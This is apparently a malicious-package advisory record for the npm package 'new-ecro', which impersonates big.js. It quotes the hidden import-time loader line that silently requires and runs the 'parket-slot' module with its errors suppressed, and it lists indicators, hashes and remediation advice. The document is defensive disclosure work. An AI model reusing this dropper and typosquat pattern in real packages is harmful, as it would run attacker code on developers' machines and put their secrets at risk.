mal-2026-6197
Vulnerability from ossf_malicious_packages
Published
2026-06-19 05:20
Modified
2026-06-19 09:53
Summary
Malicious code in new-ecro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7)

Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner ('big.js v7.0.1'), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute try { const doc = require("parket-slot"); doc.from_str().then(e=>{}).catch(e=>{}) } catch (error) {} — a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package's declared dependency in package.json is new-solt@0.0.8, while the code requires parket-slot — a name mismatch that hides the actual executing module from casual inspection of new-ecro's manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.

Source: ghsa-malware (aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "big.js",
              "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
              "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
            },
            {
              "path": "package.json",
              "sha256": "3a6a3d2490c7606d6b01631e4895014e04f564e995fcbc3787509b3ee5a5a65a",
              "tlsh": "da21f367c9a19da70af89b94bc6c43aaf1151b2f44a05c5bb07b130c4f3355b2095bbd"
            }
          ],
          "package_integrity": [
            {
              "filename": "new-ecro-0.0.7.tgz",
              "hashes": {
                "sha1": "daa605eaa63e682ab38085beeb023a54c814dc88",
                "sha512_sri": "sha512-9+4Dws0BF3kk1m2btfZDIlSm+GqCPfRd9clkeyH+NK9GaHEMBeIlLrZEjshg5IImBTsVuJsAUf8tQMeuyXNnZQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "new-ecro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "0.0.7",
        "0.0.6",
        "0.0.9"
      ]
    }
  ],
  "aliases": [
    "GHSA-chhh-8532-pg35"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007059",
        "import_time": "2026-06-19T07:17:16.83610845Z",
        "modified_time": "2026-06-19T05:20:04Z",
        "sha256": "7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7",
        "source": "amazon-inspector",
        "versions": [
          "0.0.7"
        ]
      },
      {
        "id": "IN-MAL-2026-007057",
        "import_time": "2026-06-19T07:17:16.718329936Z",
        "modified_time": "2026-06-19T05:20:02Z",
        "sha256": "7ddd41ed9696514bca555c580f60f96b630722f0828ee9cfb0ea01d6775ebc6e",
        "source": "amazon-inspector",
        "versions": [
          "0.0.6"
        ]
      },
      {
        "id": "IN-MAL-2026-007058",
        "import_time": "2026-06-19T07:17:16.799274444Z",
        "modified_time": "2026-06-19T05:20:03Z",
        "sha256": "c1e648000015ecb021ad4e52b2ed73ca3be2d782251584629595a7bbbbb3d4ac",
        "source": "amazon-inspector",
        "versions": [
          "0.0.9"
        ]
      },
      {
        "id": "GHSA-chhh-8532-pg35",
        "import_time": "2026-06-19T09:51:49.461536212Z",
        "modified_time": "2026-06-19T08:28:32Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7)\nPackage \u0027new-ecro\u0027 impersonates the legitimate \u0027big.js\u0027 library: it copies big.js\u0027s README, source, version banner (\u0027big.js v7.0.1\u0027), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute `try { const doc = require(\"parket-slot\"); doc.from_str().then(e=\u003e{}).catch(e=\u003e{}) } catch (error) {}` \u2014 a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package\u0027s declared dependency in package.json is `new-solt@0.0.8`, while the code requires `parket-slot` \u2014 a name mismatch that hides the actual executing module from casual inspection of new-ecro\u0027s manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.\n\n## Source: ghsa-malware (aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-6197",
  "modified": "2026-06-19T09:53:37Z",
  "published": "2026-06-19T05:20:02Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/new-ecro/v/0.0.7"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/new-ecro/v/0.0.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/new-ecro/v/0.0.9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-chhh-8532-pg35"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in new-ecro (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…